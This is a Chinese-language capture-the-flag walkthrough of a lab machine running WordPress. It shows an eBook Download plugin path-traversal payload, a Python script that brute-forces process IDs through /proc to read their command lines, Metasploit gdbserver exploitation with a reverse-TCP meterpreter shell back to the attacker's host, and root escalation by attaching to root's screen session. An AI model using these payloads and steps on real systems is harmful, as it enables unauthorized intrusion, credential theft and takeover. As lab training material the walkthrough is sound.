首先进入靶机还是nmap扫一下端口信息:nmap -sS 10.10.11.125
只探测到了80和22端口开放,然后用rustscan
再探测一下:
还发现了1337端口,查看一下80端口发现是一个WordPress,直接上wpscan
扫一下:
访问http://10.10.11.125/wp-content/plugins/akismet/
得到403,删去最后的目录再次访问发现存在目录遍历漏洞:
看到有一个ebook-download的插件目录,exploitdb搜一下:
符合的漏洞有一个WordPress Plugin eBook Download 1.1 - Directory Traversal
漏洞Poc:https://www.exploit-db.com/exploits/39575
Payload:/wp-content/plugins/ebook-download/filedownload.php?ebookdownloadurl=../../../wp-config.php
测试一下后发现确实存在任意文件下载漏洞,下载到了wp-config.php文件,但是依旧没有什么用,3306端口不出网,没有办法直接连接数据库,这个时候就需要想办法另辟蹊径,卡在这里有一段时间没进展,然后看到了老外的WriteUp提到:
So then I tried to search RCE via LFI and after lots of searches, I finally came across a blog that says we can brute force the PID in the /proc/ directory. So, /proc/[PID]/cmdline in Linux is basically representing a currently running process.
意思就是说可以通过爆破PID来遍历/proc/[PID]/cmdline
,从而获取当前正在执行的进程,随便写个脚本爆破一下:
import requests url = 'http://10.10.11.125/wp-content/plugins/ebook-download/filedownload.php?ebookdownloadurl=/proc/{}/cmdline' for i in range(0,1000): target = url.format(str(i)) res = requests.get(target).text if len(res) > 83: print("PID:"+str(i)+" Content:"+res)
然后就去摸会鱼回来看一下结果,排除正常的进程,注意到了这里的命令:
bin/sh-cwhile true;do su user -c "cd /home/user;gdbserver --once 0.0.0.0:1337 /bin/true;"; done bin/sh-cwhile true;do sleep 1;find /var/run/screen/S-root/ -empty -exec screen -dmS root \;; done
首先是一个以user
权限运行的gdbserver
进程,对应端口为1337
,还有一个screen -dmS root
则是启动了一个终端的session。
然后的思路就是打一下gdbserver
,直接上msf:
use exploit/multi/gdb/gdb_server_exec set payload linux/x64/meterpreter/reverse_tcp set RHOSTS 10.10.11.125 set RPORT 1337 set LHOST 10.10.14.118 set target 1
最后配置好的options如下图:
接下来exploit
攻击一下:
之后再用python来获得一个Shell:python3 -c 'import pty; pty.spawn("/bin/bash")'
查看一下user
用户的目录可以获得普通用户的flag:
接下来就是想办法提权获得root用户的flag,回归到上面两个不寻常的命令,第一条是启动gdbserver服务,第二条命令可能就是提权的关键了:
bin/sh-cwhile true;do sleep 1;find /var/run/screen/S-root/ -empty -exec screen -dmS root \;; done
先了解一下screen
:
screen是Linux窗口管理器,用户可以建立多个screen会话,每个screen会话又可以建立多个window窗口,每一个窗口就像一个可操作的真实的ssh终端一样。
使用文档:https://linux.die.net/man/1/screen
注意到了这里:
-x : Attach to a not detached screen session. (Multi display mode).
我们可以通过使用-x
参数来进入到root的session中,直接设置TREM变量为xterm
即可:
export TERM=xterm
然后再切入root
的session:
screen -r root/root
这样就可以获得root权限,然后获取到root用户目录下的root flag: